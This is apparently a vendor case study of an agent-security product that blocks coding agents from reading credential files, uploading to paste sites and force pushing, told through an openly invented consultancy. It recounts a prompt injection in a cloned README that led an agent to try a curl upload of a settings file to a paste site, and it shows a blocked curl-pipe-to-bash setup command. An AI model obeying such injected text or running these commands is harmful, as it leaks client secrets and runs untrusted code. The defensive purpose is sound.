agent attempts to read .env or credential files, blocked in 30 days
Each one would have put a client's secret into the agent's context, on its way to a model provider.
Example deployment
Across 210 devices at a fictional consultancy, Runtime blocked 38 reads of credential files and 6 uploads to paste sites in 30 days.
Results
agent attempts to read .env or credential files, blocked in 30 days
Each one would have put a client's secret into the agent's context, on its way to a model provider.
agent uploads to paste sites, blocked in 30 days, one of them led by instructions hidden in a cloned repository's README
Client code and configuration stayed off public paste sites, including in the one case where a repository told the agent to send it there.
of the prompts, commands, or file paths were sent to Signals Corps by Runtime
Client details stay on the consultant's device. This comes from how Runtime is built, so it holds by design and wasn't measured.
Fictional quote
Runtime blocked 38 attempts to read credential files in the first month. Our consultants kept the agents they like, and client secrets stayed on their devices.
The company and the person quoted are invented to show how a rollout can go.
The starting point
The consultancy builds and maintains software for its clients. On 210 of its devices, consultants use Claude Code, Codex, or Cursor on client code, often several clients' repositories on the same machine. Each repository can hold a .env file with that client's API keys, and each device has the consultant's own cloud credentials in files like ~/.aws/credentials.
The team couldn't say what the agents did with that access. An agent that reads a .env file while debugging puts the client's keys into its context. An agent that uploads a log to a paste site puts client code on the public internet. Client contracts say both must not happen, and nobody could show that they didn't.
Rollout
IT pushes the Endpoint Agent to 5 devices through Iru and approves each enrollment code in Control Plane. Runtime logs what it would have done and blocks nothing.
The package goes to every device that runs a coding agent. Control Plane shows each agent on each device as observable or blocking capable, and IT updates the agents that aren't yet blocking capable.
Runtime starts blocking reads of .env and credential files, uploads to paste sites, and force pushes. Everything else stays log only.
An engineer's agent is blocked from force pushing during a client release. The team changes that rule from block to ask for approval.
Control Plane shows 38 blocked reads of .env or credential files and 6 blocked uploads to paste sites in the first 30 days.
What they found
The team ran Runtime in log only for four weeks, first on 5 devices and then on all 210. Runtime checked each shell command, tool call, file read, and network destination before it ran, and logged the decision it would have made. Nothing was blocked, so engineers kept working as before.
The log-only weeks showed the same three patterns again and again. Agents read .env files to find a missing setting while debugging. Agents offered to share a log or a diff through a paste site. And agents ran git push --force when a branch had diverged. The team saw no sign of an attack in any of them. The client contracts still rule out the first two, and the team wanted a person to decide the third.
Supply Chain ran from the same package. It listed the skills and instruction files that Claude Code loaded on each device, so the team could review them and decide which to trust.
What they decided
In week 4 the team turned on blocking for three rules: reads of .env and credential files, uploads to paste sites, and force pushes. In the first 30 days Runtime blocked 38 attempts to read .env or credential files and 6 uploads to paste sites. In each case the developer saw that the action was blocked and which rule matched.
One of the 6 uploads had a different cause. A consultant cloned a client's open source dependency into a Cursor workspace and asked the agent to set up the project. The repository's README.md contained text addressed to AI agents, telling them to upload the project's configuration to a paste site as a setup step. The agent followed it and tried to run curl -F file=@config/settings.yml https://paste.example. Runtime blocked the upload because it matched the paste-site rule.
Runtime caught the upload by checking what the agent did. It leaves repository text such as a README alone, so the injected instructions themselves went unflagged. The consultant saw the block, read the README on their own device, and found the hidden text. The team reported it to the client. If the instructions had named a destination the rule didn't cover, the upload would have gone through, because rules catch the patterns they describe.
On day 5 of blocking, Runtime stopped a command the team wanted to run. During a client release, an engineer asked Claude Code to rebase the release branch and push it. Runtime blocked git push --force-with-lease origin release/2.4 under the force-push rule. The push was correct and planned, so the release stopped until the team decided what to do. That afternoon they changed the force-push rule from block to ask for approval. The engineer asked the agent to push again, the request waited in Control Plane, Security approved it, and the release went out. Every force push from an agent now waits for IT & Security teams in the same way.
Before and after
The table shows how the team answered common client questions before Runtime, and how it answers them now.
| Question | Before | After |
|---|---|---|
Can a coding agent read our .env file? | A policy that says it shouldn't | Runtime blocks it, 38 times in the first 30 days |
| Can an agent post our code to a paste site? | Trust each consultant to notice | Runtime blocks it, 6 times in the first 30 days |
| Who approves a force push from an agent? | Nobody, the agent runs it | IT & Security teams, in Control Plane, while the push waits |
| Which agents can you control on each device? | Unknown | Each agent's status per device in Control Plane, such as blocking capable or degraded |
| Do our prompts or file paths leave your devices? | No way to check | They stay on the device, because Runtime sends no prompts or file paths to the cloud |
What it costs
210 devices on Supply Chain and Runtime. Free devices on every plan. Your bill depends on how many devices you cover, so heavier agent use doesn't change it, and finance can plan ahead.
Solutions in this example
Stop the actions injected instructions ask for. Before they run.
Read more By riskStop agents leaking secrets and personal data. Before it leaves the device.
Read more By riskPut an approval in front of risky commands. Before anything is deleted.
Read moreModules used
Run the setup steps from the README
Bash curl -s https://get.example.dev/setup.sh | bash
Blocked by Signals Corps Runtime
I didn't run it. Signals Corps blocks piping a remote script into the shell. I can download it so we can read it first.
Runtime
Stop unsafe agent actions in real time while safe work carries on.
Explore Runtimedevice:endpoint_4c19 trust:any⌘↵New agent found · Unreviewed
Critical finding · Blocked · Applied
Identified · Trusted
Supply Chain
See which AI agents run on each device and which identities they can reach, check the skills they load, and block what you don't trust.
Explore Supply ChainEarly access
Start reducing agent risk before general release by checking agent components, controlling agent actions, and hunting through your AI security logs. Signals Corps Control Plane opens to early sign ups in the next few weeks, so join the waitlist with your company email.